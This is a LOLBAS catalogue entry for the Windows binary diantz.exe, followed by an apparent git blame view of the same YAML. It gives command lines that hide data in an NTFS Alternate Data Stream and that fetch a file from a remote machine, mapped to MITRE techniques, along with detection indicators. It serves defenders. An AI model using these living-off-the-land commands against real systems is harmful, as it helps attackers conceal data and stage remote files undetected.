LOLBAS/yml/OSBinaries/Diantz.yml

---
Name: Diantz.exe
Description: Binary that package existing files into a cabinet (.cab) file
Author: 'Tamir Yehuda'
Created: 2020-08-08
Commands:
  - Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
    Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
    Usecase: Hide data compressed into an Alternate Data Stream.
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
  - Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
    Description: Download and compress a remote file and store it in a cab file on local machine.
    Usecase: Download and compress into a cab file.
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Full_Path:
  - Path: c:\windows\system32\diantz.exe
  - Path: c:\windows\syswow64\diantz.exe
Code_Sample:
  - Code:
Detection:
  - IOC: diantz storing data into alternate data streams.
  - IOC: diantz getting a file from a remote machine or the internet.
Resources:
  - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz
Acknowledgement:
  - Person: Tamir Yehuda
    Handle: '@tim8288'
  - Person: Hai Vaknin
    Handle: '@vakninhai'
---
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`---`
Update and rename diantz.yml to Diantz.yml 2020-08-24 09:46:09 +02:00			`Name: Diantz.exe`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`Description: Binary that package existing files into a cabinet (.cab) file`
Added missing ticks in Diantz 2020-08-24 09:48:07 +02:00			`Author: 'Tamir Yehuda'`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Created: 2020-08-08`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`Commands:`
			`- Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab`
			`Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Usecase: Hide data compressed into an Alternate Data Stream.`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`Category: ADS`
			`Privileges: User`
MITRE ATT&CK realignment sprint 2021-11-05 19:58:26 +01:00			`MitreID: T1564.004`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.`
			`- Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab`
			`Description: Download and compress a remote file and store it in a cab file on local machine.`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Usecase: Download and compress into a cab file.`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`Category: Download`
			`Privileges: User`
			`MitreID: T1105`
Fixed the OS versions on Diantz 2020-09-03 10:28:49 +02:00			`OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`Full_Path:`
			`- Path: c:\windows\system32\diantz.exe`
			`- Path: c:\windows\syswow64\diantz.exe`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Code_Sample:`
			`- Code:`
			`Detection:`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`- IOC: diantz storing data into alternate data streams.`
			`- IOC: diantz getting a file from a remote machine or the internet.`
			`Resources:`
			`- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz`
			`Acknowledgement:`
			`- Person: Tamir Yehuda`
Update and rename diantz.yml to Diantz.yml 2020-08-24 09:46:09 +02:00			`Handle: '@tim8288'`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`- Person: Hai Vaknin`
Update and rename diantz.yml to Diantz.yml 2020-08-24 09:46:09 +02:00			`Handle: '@vakninhai'`
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream. 2020-08-08 14:09:53 +02:00			`---`